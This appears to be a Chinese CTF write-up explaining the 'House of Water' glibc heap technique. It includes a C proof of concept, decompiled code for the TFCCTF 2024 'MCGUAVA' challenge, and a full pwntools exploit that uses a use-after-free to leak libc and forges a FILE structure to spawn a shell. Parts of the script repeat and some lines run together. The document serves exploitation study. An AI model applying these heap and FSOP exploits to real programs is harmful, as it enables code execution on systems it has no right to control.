一
House of water
House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a t-cache
metadata control primitive, with the added benefit of obtaining a free libc pointer in the
t-cache metadata as well.NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will
contain 4 bits of randomness. If you can increment integers, no brutefore is required.By setting the count of t-cache entries 0x3e0 and 0x3f0 to 1, a "fake" heap chunk header of
size "0x10001" is created.This fake heap chunk header happens to be positioned above the 0x20 and 0x30 t-cache linked
address entries, enabling the creation of a fully functional fake unsorted-bin entry.The correct size should be set for the chunk, and the next chunk's prev-in-use bit
must be 0. Therefore, from the fake t-cache metadata chunk+0x10000, the appropriate values
should be written.Finally, due to the behavior of allocations from unsorted-bins, once t-cache metadata control
is achieved, a libc pointer can also be inserted into the metadata. This allows the libc pointer
to be ready for allocation as well.Technique / house by @udp_ctf - Water Paddler / Blue Water
程序存在UAF漏洞
程序可以申请住够大的堆块
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
// Ubuntu 22.04.3 LTS
// gcc -g house_of_water.c -o test
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>int main(void) {
void *_ = NULL;setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);void *fake_size_lsb = malloc(0x3d8);
void *fake_size_msb = malloc(0x3e8);
free(fake_size_lsb);
free(fake_size_msb);void *metadata = (void *)((long)(fake_size_lsb) & ~(0xfff));
void *x[7];
for (int i = 0; i < 7; i++) {
x[i] = malloc(0x88);
}void *unsorted_start = malloc(0x88);
_ = malloc(0x18); // Guard chunkvoid *unsorted_middle = malloc(0x88);
_ = malloc(0x18); // Guard chunkvoid *unsorted_end = malloc(0x88);
_ = malloc(0x18); // Guard chunk_ = malloc(0xf000); // Padding
void *end_of_fake = malloc(0x18); // Metadata chunk*(long *)end_of_fake = 0x10000;
*(long *)(end_of_fake+0x8) = 0x20;for (int i = 0; i < 7; i++) {
free(x[i]);
}*(long*)(unsorted_start-0x18) = 0x31;
free(unsorted_start-0x10); // Create a fake FWD
*(long*)(unsorted_start-0x8) = 0x91;
*(long*)(unsorted_end-0x18) = 0x21;
free(unsorted_end-0x10); // Create a fake BCK
*(long*)(unsorted_end-0x8) = 0x91;
free(unsorted_end);
free(unsorted_middle);
free(unsorted_start);
*(unsigned long *)unsorted_start = (unsigned long)(metadata+0x80);
*(unsigned long *)(unsorted_end+0x8) = (unsigned long)(metadata+0x80);
// Next allocation *could* be our faked chunk!
void *meta_chunk = malloc(0x288);assert(meta_chunk == (metadata+0x90));
}
二
TFCCTF 2024MCGUAVA
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
for ( i = 0; i <= 255; ++i )
guava_gius[i] = 0LL;
banner();
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 == 3 )
exit(0);
if ( v3 > 3 )
{
LABEL_13:
puts("invalid choice");
}
else if ( v3 == 1 )
{
guava();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
gius();
}
}
}
unsigned __int64 guava()
{
int v0; // eax
int v2; // [rsp+8h] [rbp-18h] BYREF
int v3; // [rsp+Ch] [rbp-14h] BYREF
char *v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]v5 = __readfsqword(0x28u);
if ( cnt_guavas > 255 )
{
puts("guava overload");
exit(0);
}
printf("how many guavas: ");
__isoc99_scanf("%d", &v2);
if ( v2 > 1791 )
{
puts("guava overload");
exit(0);
}
v4 = (char *)malloc(v2);
printf("guavset: ");
__isoc99_scanf("%d", &v3);
if ( v3 < 0 || v2 - 2 <= v3 )
{
puts("guava overload");
exit(0);
}
printf("guavas: ");
read(0, &v4[v3], v2 - v3);
v0 = cnt_guavas++;
guava_gius[v0] = v4;
return v5 - __readfsqword(0x28u);
}
unsigned __int64 gius()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);
printf("guava no: ");
__isoc99_scanf("%d", &v1);
if ( v1 >= 0x100 )
{
puts("guava overload");
exit(0);
}
free((void *)guava_gius[v1]);
return v2 - __readfsqword(0x28u);
}
def meau(index):
p.recvuntil('*>',timeout = 1)
p.sendline(str(index))def add(size,index=0,content=b'a'):
meau(1)
p.recvuntil('how many guavas:')
p.sendline(str(size))
p.recvuntil('guavset:',timeout=1)
p.sendline(str(index))
p.recvuntil('guavas:')
p.send(content)def free(index):
meau(2)
p.recvuntil('guava no:')
p.sendline(str(index))
add(0x600) # 7
add(0x600) # 8 fake 0x30
add(0x600) # 9
add(0x500) # 10
free(7)
free(8)
free(9)
add(0x610) # 11
add(0x500) # 12 unsorted_start
free(11)
free(12)
add(0x610,0x608,p64(0x31)) # 13
free(13)
free(8)
add(0x610) # 14
add(0x500) # 15 unsorted_start
add(0x6e0) # 16
add(0x600) # 7
add(0x600) # 8 fake 0x30
add(0x600) # 9
add(0x500) # 10
free(7)
free(8)
free(9)
add(0x610) # 11
add(0x500) # 12 unsorted_start
free(11)
free(12)
add(0x610,0x608,p64(0x31)) # 13
free(13)
free(8)
add(0x610) # 14
add(0x500) # 15 unsorted_start
add(0x6e0) # 16
free(15) # free unsorted_start
add(0x600) # 17
add(0x600) # 18 fake 0x20
add(0x600) # 19
add(0x500) # 20
free(17)
free(18)
free(19)
add(0x610) # 21
add(0x500) # 22 unsorted_end
free(21)
free(22)
add(0x610,0x608,p64(0x21)) # 23
free(23)
free(18)
add(0x610) # 24
add(0x500) # 25 unsorted_end
add(0x6e0) # 26
add(0x500) # 27 unsorted_middle
add(0x600) # 28
add(0x3e8) # 29
add(0x3d8) # 30
free(29)
free(30)
# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x30 和 unsorted_start
free(14)
free(15)
add(0x300) # 31
add(0x300-0x20) # 32
add(0x330) # 33 change unsorted_start
free(33)
add(0x1e0) # 34# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x20 和 unsorted_end
free(24)
free(25)
add(0x300) # 35
add(0x300-0x20) # 36
add(0x340) # 37 change unsorted_end
free(37)
add(0x1d0) # 38
add(0x330,0x18,p64(0x511)) # 39
free(39)
add(0x340,0x18,p64(0x511)) # 40
free(40)
for i in range(36):
add(0x500)add(0x210) # 76
add(0x30,0x20,p64(0x10000)+p64(0x20)) # 77
add(0x238) #78
add(0x248) #79
free(78)
free(79)
# 依次释放 unsorted_end、unsorted_middle、unsorted_start
free(25)
free(27)
free(15)# 令 unsorted_start 的 fd 指针和 unsorted_end 的 bk 指针指向 fake unsorted chunk
add(0x330,0x20,p16(0x0080)) # 80
free(80)
add(0x340,0x28,p16(0x0080)) # 81
free(81)
add(0x500)
add(0x500)
add(0x100,0,p16(0x2780))
add(0x100,0,p16(0x2780))
add(0x230,0,p64(0xfbad1800)+p64(0)*3+b'\x00\x00')
p.recvuntil(b'\x7f',timeout=1)
libc_base = u64(p.recvuntil(b'\x7f',timeout=1)[-6:].ljust(8,b'\x00'))-0x219aa0
free(86)
add(0x100,0x8,p64(libc_base+libc.symbols['_IO_2_1_stderr_']))fake_file = flat({
0x0: b" sh;",
0x28: libc_base + libc.symbols['system'],
0x88: libc_base + libc.symbols['_environ']-0x10,
0xa0: libc_base+libc.symbols['_IO_2_1_stderr_']-0x40, # _wide_data
0xD8: libc_base + libc.symbols['_IO_wfile_jumps'], # jumptable
}, filler=b"\x00")
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')def meau(index):
p.recvuntil('*>',timeout = 1)
p.sendline(str(index))def add(size,index=0,content=b'a'):
meau(1)
p.recvuntil('how many guavas:')
p.sendline(str(size))
p.recvuntil('guavset:',timeout=1)
p.sendline(str(index))
p.recvuntil('guavas:')
p.send(content)def free(index):
meau(2)
p.recvuntil('guava no:')
p.sendline(str(index))while True:
p = process(["./ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"./libc.so.6"})# 这两个循环为多余操作,当时脑抽写的,后面懒的删了
for i in range(7):
add(0x88)for i in range(7):
free(i)# 获取 fake 0x30 和 unsorted_start 堆块的索引
add(0x600) # 7
add(0x600) # 8 fake 0x30
add(0x600) # 9
add(0x500) # 10
free(7)
free(8)
free(9)
add(0x610) # 11
add(0x500) # 12 unsorted_start
free(11)
free(12)
add(0x610,0x608,p64(0x31)) # 13
free(13)
free(8)
add(0x610) # 14
add(0x500) # 15 unsorted_start
add(0x6e0) # 16# 获取 fake 0x20 和 unsorted_end 堆块的索引
add(0x600) # 17
add(0x600) # 18 fake 0x20
add(0x600) # 19
add(0x500) # 20
free(17)
free(18)
free(19)
add(0x610) # 21
add(0x500) # 22 unsorted_end
free(21)
free(22)
add(0x610,0x608,p64(0x21)) # 23
free(23)
free(18)
add(0x610) # 24
add(0x500) # 25 unsorted_end
add(0x6e0) # 26# 获取 unsorted_middle 的索引
add(0x500) # 27 unsorted_middle
add(0x600) # 28# 伪造 fake unsorted chunk (size、fd、bk)
add(0x3e8) # 29
add(0x3d8) # 30
free(29)
free(30)# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x30 和 unsorted_start
free(14)
free(15)
add(0x300) # 31
add(0x300-0x20) # 32
add(0x330) # 33 change unsorted_start
free(33)
add(0x1e0) # 34# 获取一个 tcache 的索引,该 tcache 能够修改 fake 0x20 和 unsorted_end
free(24)
free(25)
add(0x300) # 35
add(0x300-0x20) # 36
add(0x340) # 37 change unsorted_end
free(37)
add(0x1d0) # 38add(0x330,0x18,p64(0x511)) # 39
free(39)
add(0x340,0x18,p64(0x511)) # 40
free(40)# 在后面填充堆块,并伪造 prev_size 和 size 使 fake unsorted chunk 合法
for i in range(36):
add(0x500)add(0x210) # 76
add(0x30,0x20,p64(0x10000)+p64(0x20)) # 77
# 提前让 0x240、0x250 两个大小的堆块进入到 tcache,后面会用上
add(0x238) #78
add(0x248) #79
free(78)
free(79)
# 依次释放 unsorted_end、unsorted_middle、unsorted_start
free(25)
free(27)
free(15)# 令 unsorted_start 的 fd 指针和 unsorted_end 的 bk 指针指向 fake unsorted chunk
add(0x330,0x20,p16(0x0080)) # 80
free(80)
add(0x340,0x28,p16(0x0080)) # 81
free(81)
try:
add(0x500) # 82
except:
p.close()
continue# 将多余的 largebin 申请出来
add(0x500) # 83# 修改
add(0x100,0,p16(0x2780)) # 84
add(0x100,0,p16(0x2780)) # 85
try:
add(0x230,0,p64(0xfbad1800)+p64(0)*3+b'\x00\x00') # 86
except:
p.close()
continue
libc_base = 0
try:
p.recvuntil(b'\x7f',timeout=1)
libc_base = u64(p.recvuntil(b'\x7f',timeout=1)[-6:].ljust(8,b'\x00'))-0x219aa0
if hex(libc_base)[2] != '7' or hex(libc_base)[3] != 'f':
raise ValueError("leak libc error")
except:
p.close()
continuelg("libc_base")
# 释放 tcache_perthread_struct 上的堆块,使我们能够再次编辑该结构体
free(86)# 令 size 为 0x250 的 tcache 指向 _IO_2_1_stderr_
add(0x100,0x8,p64(libc_base+libc.symbols['_IO_2_1_stderr_'])) # 87fake_file = flat({
0x0: b" sh;",
0x28: libc_base + libc.symbols['system'],
0x88: libc_base + libc.symbols['_environ']-0x10,
0xa0: libc_base+libc.symbols['_IO_2_1_stderr_']-0x40, # _wide_data
0xD8: libc_base + libc.symbols['_IO_wfile_jumps'], # jumptable
}, filler=b"\x00")# 在 _IO_2_1_stderr_ 上写上我们的 fake file
add(0x240,0,fake_file)# 退出程序,执行 fsop 攻击
meau(3)
p.sendline(b'cat flag.txt')p.interactive()
break
看雪ID:Qanux
https://bbs.kanxue.com/user-home-985117.htm
# 往期推荐
2、恶意木马历险记
球分享
球点赞
球在看
点击阅读原文查看更多